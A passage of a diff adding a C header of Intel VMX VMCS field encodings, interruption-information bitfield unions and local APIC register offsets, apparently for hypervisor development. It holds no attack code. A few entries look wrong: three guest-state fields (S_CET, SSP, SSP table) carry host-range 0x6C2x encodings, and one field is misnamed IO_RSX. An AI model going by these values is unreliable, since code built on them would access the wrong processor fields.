notification vector. + * + * @remarks This field exists only on processors that support the 1-setting of the "process posted interrupts" VM-execution + * control. + */ +#define VMCS_CTRL_POSTED_INTERRUPT_NOTIFICATION_VECTOR 0x00000002 + + /** + * EPTP index. + * + * @remarks This field exists only on processors that support the 1-setting of the "EPT-violation \#VE" VM-execution + * control. + */ +#define VMCS_CTRL_EPTP_INDEX 0x00000004 + /** + * @} + */ + + /** + * @defgroup vmcs_16_bit_guest_state_fields \ + * 16-Bit Guest-State Fields + * + * 16-Bit Guest-State Fields. + * @{ + */ + /** + * Guest ES selector. + */ +#define VMCS_GUEST_ES_SELECTOR 0x00000800 + + /** + * Guest CS selector. + */ +#define VMCS_GUEST_CS_SELECTOR 0x00000802 + + /** + * Guest SS selector. + */ +#define VMCS_GUEST_SS_SELECTOR 0x00000804 + + /** + * Guest DS selector. + */ +#define VMCS_GUEST_DS_SELECTOR 0x00000806 + + /** + * Guest FS selector. + */ +#define VMCS_GUEST_FS_SELECTOR 0x00000808 + + /** + * Guest GS selector. + */ +#define VMCS_GUEST_GS_SELECTOR 0x0000080A + + /** + * Guest LDTR selector. + */ +#define VMCS_GUEST_LDTR_SELECTOR 0x0000080C + + /** + * Guest TR selector. + */ +#define VMCS_GUEST_TR_SELECTOR 0x0000080E + + /** + * Guest interrupt status. + * + * @remarks This field exists only on processors that support the 1-setting of the "virtual-interrupt delivery" + * VM-execution control. + */ +#define VMCS_GUEST_INTERRUPT_STATUS 0x00000810 + + /** + * PML index. + * + * @remarks This field exists only on processors that support the 1-setting of the "enable PML" VM-execution control. + */ +#define VMCS_GUEST_PML_INDEX 0x00000812 + /** + * @} + */ + + /** + * @defgroup vmcs_16_bit_host_state_fields \ + * 16-Bit Host-State Fields + * + * 16-Bit Host-State Fields. + * @{ + */ + /** + * Host ES selector. + */ +#define VMCS_HOST_ES_SELECTOR 0x00000C00 + + /** + * Host CS selector. + */ +#define VMCS_HOST_CS_SELECTOR 0x00000C02 + + /** + * Host SS selector. + */ +#define VMCS_HOST_SS_SELECTOR 0x00000C04 + + /** + * Host DS selector. + */ +#define VMCS_HOST_DS_SELECTOR 0x00000C06 + + /** + * Host FS selector. + */ +#define VMCS_HOST_FS_SELECTOR 0x00000C08 + + /** + * Host GS selector. + */ +#define VMCS_HOST_GS_SELECTOR 0x00000C0A + + /** + * Host TR selector. + */ +#define VMCS_HOST_TR_SELECTOR 0x00000C0C + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit \ + * 64-Bit Fields + * + * 64-Bit Fields. + * + * @see Vol3D[B.2(64-BIT FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_64_bit_control_fields \ + * 64-Bit Control Fields + * + * 64-Bit Control Fields. + * @{ + */ + /** + * Address of I/O bitmap A. + */ +#define VMCS_CTRL_IO_BITMAP_A_ADDRESS 0x00002000 + + /** + * Address of I/O bitmap B. + */ +#define VMCS_CTRL_IO_BITMAP_B_ADDRESS 0x00002002 + + /** + * Address of MSR bitmaps. + */ +#define VMCS_CTRL_MSR_BITMAP_ADDRESS 0x00002004 + + /** + * VM-exit MSR-store address. + */ +#define VMCS_CTRL_VMEXIT_MSR_STORE_ADDRESS 0x00002006 + + /** + * VM-exit MSR-load address. + */ +#define VMCS_CTRL_VMEXIT_MSR_LOAD_ADDRESS 0x00002008 + + /** + * VM-entry MSR-load address. + */ +#define VMCS_CTRL_VMENTRY_MSR_LOAD_ADDRESS 0x0000200A + + /** + * Executive-VMCS pointer. + */ +#define VMCS_CTRL_EXECUTIVE_VMCS_POINTER 0x0000200C + + /** + * PML address. + */ +#define VMCS_CTRL_PML_ADDRESS 0x0000200E + + /** + * TSC offset. + */ +#define VMCS_CTRL_TSC_OFFSET 0x00002010 + + /** + * Virtual-APIC address. + */ +#define VMCS_CTRL_VIRTUAL_APIC_ADDRESS 0x00002012 + + /** + * APIC-access address. + */ +#define VMCS_CTRL_APIC_ACCESS_ADDRESS 0x00002014 + + /** + * Posted-interrupt descriptor address + */ +#define VMCS_CTRL_POSTED_INTERRUPT_DESCRIPTOR_ADDRESS 0x00002016 + + /** + * VM-function controls. + */ +#define VMCS_CTRL_VMFUNC_CONTROLS 0x00002018 + + /** + * EPT pointer. + */ +#define VMCS_CTRL_EPT_POINTER 0x0000201A + + /** + * EOI-exit bitmap 0. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_0 0x0000201C + + /** + * EOI-exit bitmap 1. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_1 0x0000201E + + /** + * EOI-exit bitmap 2. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_2 0x00002020 + + /** + * EOI-exit bitmap 3. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_3 0x00002022 + + /** + * EPTP-list address. + */ +#define VMCS_CTRL_EPT_POINTER_LIST_ADDRESS 0x00002024 + + /** + * VMREAD-bitmap address. + */ +#define VMCS_CTRL_VMREAD_BITMAP_ADDRESS 0x00002026 + + /** + * VMWRITE-bitmap address. + */ +#define VMCS_CTRL_VMWRITE_BITMAP_ADDRESS 0x00002028 + + /** + * Virtualization-exception information address. + */ +#define VMCS_CTRL_VIRTUALIZATION_EXCEPTION_INFORMATION_ADDRESS 0x0000202A + + /** + * XSS-exiting bitmap. + */ +#define VMCS_CTRL_XSS_EXITING_BITMAP 0x0000202C + + /** + * ENCLS-exiting bitmap. + */ +#define VMCS_CTRL_ENCLS_EXITING_BITMAP 0x0000202E + + /** + * TSC multiplier. + */ +#define VMCS_CTRL_TSC_MULTIPLIER 0x00002032 + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit_read_only_data_fields \ + * 64-Bit Read-Only Data Field + * + * 64-Bit Read-Only Data Field. + * @{ + */ + /** + * Guest-physical address. + */ +#define VMCS_GUEST_PHYSICAL_ADDRESS 0x00002400 + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit_guest_state_fields \ + * 64-Bit Guest-State Fields + * + * 64-Bit Guest-State Fields. + * @{ + */ + /** + * VMCS link pointer. + */ +#define VMCS_GUEST_VMCS_LINK_POINTER 0x00002800 + + /** + * Guest IA32_DEBUGCTL. + */ +#define VMCS_GUEST_DEBUGCTL 0x00002802 + + /** + * Guest IA32_PAT. + */ +#define VMCS_GUEST_PAT 0x00002804 + + /** + * Guest IA32_EFER. + */ +#define VMCS_GUEST_EFER 0x00002806 + + /** + * Guest IA32_PERF_GLOBAL_CTRL. + */ +#define VMCS_GUEST_PERF_GLOBAL_CTRL 0x00002808 + + /** + * Guest PDPTE0. + */ +#define VMCS_GUEST_PDPTE0 0x0000280A + + /** + * Guest PDPTE1. + */ +#define VMCS_GUEST_PDPTE1 0x0000280C + + /** + * Guest PDPTE2. + */ +#define VMCS_GUEST_PDPTE2 0x0000280E + + /** + * Guest PDPTE3. + */ +#define VMCS_GUEST_PDPTE3 0x00002810 + + /** + * Guest IA32_BNDCFGS. + */ +#define VMCS_GUEST_BNDCFGS 0x00002812 + + /** + * Guest IA32_RTIT_CTL. + */ +#define VMCS_GUEST_RTIT_CTL 0x00002814 + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit_host_state_fields \ + * 64-Bit Host-State Fields + * + * 64-Bit Host-State Fields. + * @{ + */ + /** + * Host IA32_PAT. + */ +#define VMCS_HOST_PAT 0x00002C00 + + /** + * Host IA32_EFER. + */ +#define VMCS_HOST_EFER 0x00002C02 + + /** + * Host IA32_PERF_GLOBAL_CTRL. + */ +#define VMCS_HOST_PERF_GLOBAL_CTRL 0x00002C04 + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit \ + * 32-Bit Fields + * + * 32-Bit Fields. + * + * @see Vol3D[B.3(32-BIT FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_32_bit_control_fields \ + * 32-Bit Control Fields + * + * 32-Bit Control Fields. + * @{ + */ + /** + * Pin-based VM-execution controls. + */ +#define VMCS_CTRL_PIN_BASED_VM_EXECUTION_CONTROLS 0x00004000 + + /** + * Primary processor-based VM-execution controls. + */ +#define VMCS_CTRL_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x00004002 + + /** + * Exception bitmap. + */ +#define VMCS_CTRL_EXCEPTION_BITMAP 0x00004004 + + /** + * Page-fault error-code mask. + */ +#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MASK 0x00004006 + + /** + * Page-fault error-code match. + */ +#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MATCH 0x00004008 + + /** + * CR3-target count. + */ +#define VMCS_CTRL_CR3_TARGET_COUNT 0x0000400A + + /** + * VM-exit controls. + */ +#define VMCS_CTRL_VMEXIT_CONTROLS 0x0000400C + + /** + * VM-exit MSR-store count. + */ +#define VMCS_CTRL_VMEXIT_MSR_STORE_COUNT 0x0000400E + + /** + * VM-exit MSR-load count. + */ +#define VMCS_CTRL_VMEXIT_MSR_LOAD_COUNT 0x00004010 + + /** + * VM-entry controls. + */ +#define VMCS_CTRL_VMENTRY_CONTROLS 0x00004012 + + /** + * VM-entry MSR-load count. + */ +#define VMCS_CTRL_VMENTRY_MSR_LOAD_COUNT 0x00004014 + + /** + * VM-entry interruption-information field. + */ +#define VMCS_CTRL_VMENTRY_INTERRUPTION_INFORMATION_FIELD 0x00004016 + + /** + * VM-entry exception error code. + */ +#define VMCS_CTRL_VMENTRY_EXCEPTION_ERROR_CODE 0x00004018 + + /** + * VM-entry instruction length. + */ +#define VMCS_CTRL_VMENTRY_INSTRUCTION_LENGTH 0x0000401A + + /** + * TPR threshold. + */ +#define VMCS_CTRL_TPR_THRESHOLD 0x0000401C + + /** + * Secondary processor-based VM-execution controls. + */ +#define VMCS_CTRL_SECONDARY_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x0000401E + + /** + * PLE_Gap. + */ +#define VMCS_CTRL_PLE_GAP 0x00004020 + + /** + * PLE_Window. + */ +#define VMCS_CTRL_PLE_WINDOW 0x00004022 + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit_read_only_data_fields \ + * 32-Bit Read-Only Data Fields + * + * 32-Bit Read-Only Data Fields. + * @{ + */ + /** + * VM-instruction error. + */ +#define VMCS_VM_INSTRUCTION_ERROR 0x00004400 + + /** + * Exit reason. + */ +#define VMCS_EXIT_REASON 0x00004402 + + /** + * VM-exit interruption information. + */ +#define VMCS_VMEXIT_INTERRUPTION_INFORMATION 0x00004404 + + /** + * VM-exit interruption error code. + */ +#define VMCS_VMEXIT_INTERRUPTION_ERROR_CODE 0x00004406 + + /** + * IDT-vectoring information field. + */ +#define VMCS_IDT_VECTORING_INFORMATION 0x00004408 + + /** + * IDT-vectoring error code. + */ +#define VMCS_IDT_VECTORING_ERROR_CODE 0x0000440A + + /** + * VM-exit instruction length. + */ +#define VMCS_VMEXIT_INSTRUCTION_LENGTH 0x0000440C + + /** + * VM-exit instruction information. + */ +#define VMCS_VMEXIT_INSTRUCTION_INFO 0x0000440E + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit_guest_state_fields \ + * 32-Bit Guest-State Fields + * + * 32-Bit Guest-State Fields. + * @{ + */ + /** + * Guest ES limit. + */ +#define VMCS_GUEST_ES_LIMIT 0x00004800 + + /** + * Guest CS limit. + */ +#define VMCS_GUEST_CS_LIMIT 0x00004802 + + /** + * Guest SS limit. + */ +#define VMCS_GUEST_SS_LIMIT 0x00004804 + + /** + * Guest DS limit. + */ +#define VMCS_GUEST_DS_LIMIT 0x00004806 + + /** + * Guest FS limit. + */ +#define VMCS_GUEST_FS_LIMIT 0x00004808 + + /** + * Guest GS limit. + */ +#define VMCS_GUEST_GS_LIMIT 0x0000480A + + /** + * Guest LDTR limit. + */ +#define VMCS_GUEST_LDTR_LIMIT 0x0000480C + + /** + * Guest TR limit. + */ +#define VMCS_GUEST_TR_LIMIT 0x0000480E + + /** + * Guest GDTR limit. + */ +#define VMCS_GUEST_GDTR_LIMIT 0x00004810 + + /** + * Guest IDTR limit. + */ +#define VMCS_GUEST_IDTR_LIMIT 0x00004812 + + /** + * Guest ES access rights. + */ +#define VMCS_GUEST_ES_ACCESS_RIGHTS 0x00004814 + + /** + * Guest CS access rights. + */ +#define VMCS_GUEST_CS_ACCESS_RIGHTS 0x00004816 + + /** + * Guest SS access rights. + */ +#define VMCS_GUEST_SS_ACCESS_RIGHTS 0x00004818 + + /** + * Guest DS access rights. + */ +#define VMCS_GUEST_DS_ACCESS_RIGHTS 0x0000481A + + /** + * Guest FS access rights. + */ +#define VMCS_GUEST_FS_ACCESS_RIGHTS 0x0000481C + + /** + * Guest GS access rights. + */ +#define VMCS_GUEST_GS_ACCESS_RIGHTS 0x0000481E + + /** + * Guest LDTR access rights. + */ +#define VMCS_GUEST_LDTR_ACCESS_RIGHTS 0x00004820 + + /** + * Guest TR access rights. + */ +#define VMCS_GUEST_TR_ACCESS_RIGHTS 0x00004822 + + /** + * Guest interruptibility state. + */ +#define VMCS_GUEST_INTERRUPTIBILITY_STATE 0x00004824 + + /** + * Guest activity state. + */ +#define VMCS_GUEST_ACTIVITY_STATE 0x00004826 + + /** + * Guest SMBASE. + */ +#define VMCS_GUEST_SMBASE 0x00004828 + + /** + * Guest IA32_SYSENTER_CS. + */ +#define VMCS_GUEST_SYSENTER_CS 0x0000482A + + /** + * VMX-preemption timer value. + */ +#define VMCS_GUEST_VMX_PREEMPTION_TIMER_VALUE 0x0000482E + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit_host_state_fields \ + * 32-Bit Host-State Field + * + * 32-Bit Host-State Field. + * @{ + */ + /** + * Host IA32_SYSENTER_CS. + */ +#define VMCS_HOST_SYSENTER_CS 0x00004C00 + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width \ + * Natural-Width Fields + * + * Natural-Width Fields. + * + * @see Vol3D[B.4(NATURAL-WIDTH FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_natural_width_control_fields \ + * Natural-Width Control Fields + * + * Natural-Width Control Fields + * @{ + */ + /** + * CR0 guest/host mask. + */ +#define VMCS_CTRL_CR0_GUEST_HOST_MASK 0x00006000 + + /** + * CR4 guest/host mask. + */ +#define VMCS_CTRL_CR4_GUEST_HOST_MASK 0x00006002 + + /** + * CR0 read shadow. + */ +#define VMCS_CTRL_CR0_READ_SHADOW 0x00006004 + + /** + * CR4 read shadow. + */ +#define VMCS_CTRL_CR4_READ_SHADOW 0x00006006 + + /** + * CR3-target value 0. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_0 0x00006008 + + /** + * CR3-target value 1. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_1 0x0000600A + + /** + * CR3-target value 2. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_2 0x0000600C + + /** + * CR3-target value 3. + */ +#define VMCS_CTRL_CR3_TARGET_VALUE_3 0x0000600E + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width_read_only_data_fields \ + * Natural-Width Read-Only Data Fields + * + * Natural-Width Read-Only Data Fields. + * @{ + */ + /** + * Exit qualification. + */ +#define VMCS_EXIT_QUALIFICATION 0x00006400 + + /** + * I/O RCX. + */ +#define VMCS_IO_RCX 0x00006402 + + /** + * I/O RSI. + */ +#define VMCS_IO_RSX 0x00006404 + + /** + * I/O RDI. + */ +#define VMCS_IO_RDI 0x00006406 + + /** + * I/O RIP. + */ +#define VMCS_IO_RIP 0x00006408 + + /** + * Guest-linear address. + */ +#define VMCS_EXIT_GUEST_LINEAR_ADDRESS 0x0000640A + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width_guest_state_fields \ + * Natural-Width Guest-State Fields + * + * Natural-Width Guest-State Fields. + * @{ + */ + /** + * Guest CR0. + */ +#define VMCS_GUEST_CR0 0x00006800 + + /** + * Guest CR3. + */ +#define VMCS_GUEST_CR3 0x00006802 + + /** + * Guest CR4. + */ +#define VMCS_GUEST_CR4 0x00006804 + + /** + * Guest ES base. + */ +#define VMCS_GUEST_ES_BASE 0x00006806 + + /** + * Guest CS base. + */ +#define VMCS_GUEST_CS_BASE 0x00006808 + + /** + * Guest SS base. + */ +#define VMCS_GUEST_SS_BASE 0x0000680A + + /** + * Guest DS base. + */ +#define VMCS_GUEST_DS_BASE 0x0000680C + + /** + * Guest FS base. + */ +#define VMCS_GUEST_FS_BASE 0x0000680E + + /** + * Guest GS base. + */ +#define VMCS_GUEST_GS_BASE 0x00006810 + + /** + * Guest LDTR base. + */ +#define VMCS_GUEST_LDTR_BASE 0x00006812 + + /** + * Guest TR base. + */ +#define VMCS_GUEST_TR_BASE 0x00006814 + + /** + * Guest GDTR base. + */ +#define VMCS_GUEST_GDTR_BASE 0x00006816 + + /** + * Guest IDTR base. + */ +#define VMCS_GUEST_IDTR_BASE 0x00006818 + + /** + * Guest DR7. + */ +#define VMCS_GUEST_DR7 0x0000681A + + /** + * Guest RSP. + */ +#define VMCS_GUEST_RSP 0x0000681C + + /** + * Guest RIP. + */ +#define VMCS_GUEST_RIP 0x0000681E + + /** + * Guest RFLAGS. + */ +#define VMCS_GUEST_RFLAGS 0x00006820 + + /** + * Guest pending debug exceptions. + */ +#define VMCS_GUEST_PENDING_DEBUG_EXCEPTIONS 0x00006822 + + /** + * Guest IA32_SYSENTER_ESP. + */ +#define VMCS_GUEST_SYSENTER_ESP 0x00006824 + + /** + * Guest IA32_SYSENTER_EIP. + */ +#define VMCS_GUEST_SYSENTER_EIP 0x00006826 + + /** + * Guest IA32_S_CET. + */ +#define VMCS_GUEST_S_CET 0x00006C28 + + /** + * Guest SSP. + */ +#define VMCS_GUEST_SSP 0x00006C2A + + /** + * Guest IA32_INTERRUPT_SSP_TABLE_ADDR. + */ +#define VMCS_GUEST_INTERRUPT_SSP_TABLE_ADDR 0x00006C2C + /** + * @} + */ + + /** + * @defgroup vmcs_natural_width_host_state_fields \ + * Natural-Width Host-State Fields + * + * Natural-Width Host-State Fields. + * @{ + */ + /** + * Host CR0. + */ +#define VMCS_HOST_CR0 0x00006C00 + + /** + * Host CR3. + */ +#define VMCS_HOST_CR3 0x00006C02 + + /** + * Host CR4. + */ +#define VMCS_HOST_CR4 0x00006C04 + + /** + * Host FS base. + */ +#define VMCS_HOST_FS_BASE 0x00006C06 + + /** + * Host GS base. + */ +#define VMCS_HOST_GS_BASE 0x00006C08 + + /** + * Host TR base. + */ +#define VMCS_HOST_TR_BASE 0x00006C0A + + /** + * Host GDTR base. + */ +#define VMCS_HOST_GDTR_BASE 0x00006C0C + + /** + * Host IDTR base. + */ +#define VMCS_HOST_IDTR_BASE 0x00006C0E + + /** + * Host IA32_SYSENTER_ESP. + */ +#define VMCS_HOST_SYSENTER_ESP 0x00006C10 + + /** + * Host IA32_SYSENTER_EIP. + */ +#define VMCS_HOST_SYSENTER_EIP 0x00006C12 + + /** + * Host RSP. + */ +#define VMCS_HOST_RSP 0x00006C14 + + /** + * Host RIP. + */ +#define VMCS_HOST_RIP 0x00006C16 + + /** + * Host IA32_S_CET. + */ +#define VMCS_HOST_S_CET 0x00006C18 + + /** + * Host SSP. + */ +#define VMCS_HOST_SSP 0x00006C1A + + /** + * Host IA32_INTERRUPT_SSP_TABLE_ADDR. + */ +#define VMCS_HOST_INTERRUPT_SSP_TABLE_ADDR 0x00006C1C + /** + * @} + */ + + /** + * @} + */ + + /** + * @} + */ + + /** + * @brief Valid interruption types + */ +typedef enum +{ + /** + * External interrupt. + */ + external_interrupt = 0x00000000, + + /** + * Non-maskable interrupt (NMI). + */ + non_maskable_interrupt = 0x00000002, + + /** + * Hardware exception (e.g,. \#PF). + */ + hardware_exception = 0x00000003, + + /** + * Software interrupt (INT n). + */ + software_interrupt = 0x00000004, + + /** + * Privileged software exception (INT1). + */ + privileged_software_exception = 0x00000005, + + /** + * Software exception (INT3 or INTO). + */ + software_exception = 0x00000006, + + /** + * Other event. This type is used for injection of events that are not delivered through the IDT. + */ + other_event = 0x00000007, +} interruption_type; + +/** + * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs + * have been loaded). This process is called event injection and is controlled by these VM-entry control fields + * + * @see Vol3A[24.8.3(VM-Entry Controls for Event Injection)] (reference) + */ +typedef union +{ + struct + { + /** + * @brief Vector of interrupt or exception + * + * [Bits 7:0] Determines which entry in the IDT is used or which other event is injected. + */ + uint32_t vector : 8; +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_BIT 0 +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF +#define VMENTRY_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) + + /** + * @brief Interruption type + * + * [Bits 10:8] Determines details of how the injection is performed. + */ + uint32_t interruption_type : 3; +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 +#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) + + /** + * @brief Deliver error code (0 = do not deliver; 1 = deliver) + * + * [Bit 11] Determines whether delivery pushes an error code on the guest stack. + */ + uint32_t deliver_error_code : 1; +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_BIT 11 +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_FLAG 0x800 +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_MASK 0x01 +#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE(_) (((_) >> 11) & 0x01) + uint32_t reserved1 : 19; + + /** + * @brief Valid + * + * [Bit 31] VM entry injects an event if and only if the valid bit is 1. The valid bit in this field is cleared on every VM + * exit. + */ + uint32_t valid : 1; +#define VMENTRY_INTERRUPT_INFORMATION_VALID_BIT 31 +#define VMENTRY_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 +#define VMENTRY_INTERRUPT_INFORMATION_VALID_MASK 0x01 +#define VMENTRY_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; +} vmentry_interrupt_information; + +/** + * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs + * have been loaded). This process is called event injection and is controlled by these VM-entry control fields + * + * @see Vol3A[24.9.2(Information for VM Exits Due to Vectored Events)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 7:0] Vector of interrupt or exception. + */ + uint32_t vector : 8; +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_BIT 0 +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF +#define VMEXIT_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 10:8] Interruption type. + */ + uint32_t interruption_type : 3; +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 +#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) + + /** + * [Bit 11] Deliver error code (0 = do not deliver; 1 = deliver). + */ + uint32_t error_code_valid : 1; +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_BIT 11 +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_FLAG 0x800 +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_MASK 0x01 +#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] NMI unblocking due to IRET. + */ + uint32_t nmi_unblocking : 1; +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_BIT 12 +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_FLAG 0x1000 +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_MASK 0x01 +#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) + uint32_t reserved1 : 18; + + /** + * [Bit 31] Valid. + */ + uint32_t valid : 1; +#define VMEXIT_INTERRUPT_INFORMATION_VALID_BIT 31 +#define VMEXIT_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 +#define VMEXIT_INTERRUPT_INFORMATION_VALID_MASK 0x01 +#define VMEXIT_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; +} vmexit_interrupt_information; + +/** + * @} + */ + + /** + * @defgroup apic \ + * Advanced Programmable Interrupt Controller (APIC) + * + * Software interacts with the local APIC by reading and writing its registers. APIC registers are memory-mapped to a + * 4-KByte region of the processor's physical address space with an initial starting address of FEE00000H. For correct APIC + * operation, this address space must be mapped to an area of memory that has been designated as strong uncacheable (UC). + * + * @remarks Registers are 32 bits, 64 bits, or 256 bits in width; all are aligned on 128-bit boundaries. All 32-bit + * registers should be accessed using 128-bit aligned 32-bit loads or stores. Some processors may support loads and stores + * of less than 32 bits to some of the APIC registers. This is model specific behavior and is not guaranteed to work on all + * processors. Any FP/MMX/SSE access to an APIC register, or any access that touches bytes 4 through 15 of an APIC register + * may cause undefined behavior and must not be executed. This undefined behavior could include hangs, incorrect results or + * unexpected exceptions, including machine checks, and may vary between implementations. Wider registers (64-bit or + * 256-bit) must be accessed using multiple 32-bit loads or stores, with all accesses being 128-bit aligned. + * @see Vol3A[10.4.1(The Local APIC Block Diagram)] (reference) + * @{ + */ + /** + * Local APIC Base Address. + * + * @remarks Reserved. + */ +#define APIC_BASE_ADDRESS 0xFEE00000 + + /** + * Local APIC ID Register. + */ +#define APIC_ID 0x00000020 + + /** + * Local APIC Version Register. + */ +#define APIC_VERSION 0x00000030 + + /** + * Task Priority Register (TPR). + */ +#define APIC_TASK_PRIORITY 0x00000080 + + /** + * Arbitration Priority Register (APR). + */ +#define APIC_ARBITRATION_PRIORITY 0x00000090 + + /** + * Processor Priority Register (PPR). + */ +#define APIC_PROCESSOR_PRIORITY 0x000000A0 + + /** + * EOI Register. + */ +#define APIC_EOI 0x000000B0 + + /** + * Remote Read Register (RRD). + */ +#define APIC_REMOTE_READ 0x000000C0 + + /** + * Logical Destination Register. + */ +#define APIC_LOGICAL_DESTINATION 0x000000D0 + + /** + * Destination Format Register. + * + * @see Vol3A[10.6.2.2(Logical Destination Mode)] + */ +#define APIC_DESTINATION_FORMAT 0x000000E0 + + /** + * Spurious Interrupt Vector Register. + * + * @see Vol3A[10.9(SPURIOUS INTERRUPT)] + */ +#define APIC_SPURIOUS_INTERRUPT_VECTOR 0x000000F0 + + /** + * In-Service Register (ISR); bits 31:0. + */ +#define APIC_IN_SERVICE_BITS_31_0 0x00000100 + + /** + * In-Service Register (ISR); bits 63:32. + */ +#define APIC_IN_SERVICE_BITS_63_32 0x00000110 + + /** + * In-Service Register (ISR); bits 95:64. + */ +#define APIC_IN_SERVICE_BITS_95_64 0x00000120 + + /** + * In-Service Register (ISR); bits 127:96. + */ +#define APIC_IN_SERVICE_BITS_127_96 0x00000130 + + /** + * In-Service Register (ISR); bits 159:128. + */ +#define APIC_IN_SERVICE_BITS_159_128 0x00000140 + + /** + * In-Service Register (ISR); bits 191:160. + */ +#define APIC_IN_SERVICE_BITS_191_160 0x00000150 + + /** + * In-Service Register (ISR); bits 223:192. + */ +#define APIC_IN_SERVICE_BITS_223_192 0x00000160 + + /** + * In-Service Register (ISR); bits 255:224. + */ +#define APIC_IN_SERVICE_BITS_255_224 0x00000170 + + /** + * Trigger Mode Register (TMR); bits 31:0. + */ +#define APIC_TRIGGER_MODE_BITS_31_0 0x00000180 + + /** + * Trigger Mode Register (TMR); bits 63:32. + */ +#define APIC_TRIGGER_MODE_BITS_63_32 0x00000190 + + /** + * Trigger Mode Register (TMR); bits 95:64. + */ +#define APIC_TRIGGER_MODE_BITS_95_64 0x000001A0 + + /** + * Trigger Mode Register (TMR); bits 127:96. + */ +#define APIC_TRIGGER_MODE_BITS_127_96 0x000001B0 + + /** + * Trigger Mode Register (TMR); bits 159:128. + */ +#define APIC_TRIGGER_MODE_BITS_159_128 0x000001C0 + + /** + * Trigger Mode Register (TMR); bits 191:160. + */ +#define APIC_TRIGGER_MODE_BITS_191_160 0x000001D0 + + /** + * Trigger Mode Register (TMR); bits 223:192. + */ +#define APIC_TRIGGER_MODE_BITS_223_192 0x000001E0 + + /** + * Trigger Mode Register (TMR); bits 255:224. + */ +#define APIC_TRIGGER_MODE_BITS_255_224 0x000001F0 + + /** + * Interrupt Request Register (IRR); bits 31:0. + */ +#define APIC_INTERRUPT_REQUEST_BITS_31_0 0x00000200 + + /** + * Interrupt Request Register (IRR); bits 63:32. + */ +#define APIC_INTERRUPT_REQUEST_BITS_63_32 0x00000210 + + /** + * Interrupt Request Register (IRR); bits 95:64. + */ +#define APIC_INTERRUPT_REQUEST_BITS_95_64 0x00000220 + + /** + * Interrupt Request Register (IRR); bits 127:96. + */ +#define APIC_INTERRUPT_REQUEST_BITS_127_96 0x00000230 + + /** + * Interrupt Request Register (IRR); bits 159:128. + */ +#define APIC_INTERRUPT_REQUEST_BITS_159_128 0x00000240 + + /** + * Interrupt Request Register (IRR); bits 191:160. + */ +#define APIC_INTERRUPT_REQUEST_BITS_191_160 0x00000250 + + /** + * Interrupt Request Register (IRR); bits 223:192. + */ +#define APIC_INTERRUPT_REQUEST_BITS_223_192 0x00000260 + + /** + * Interrupt 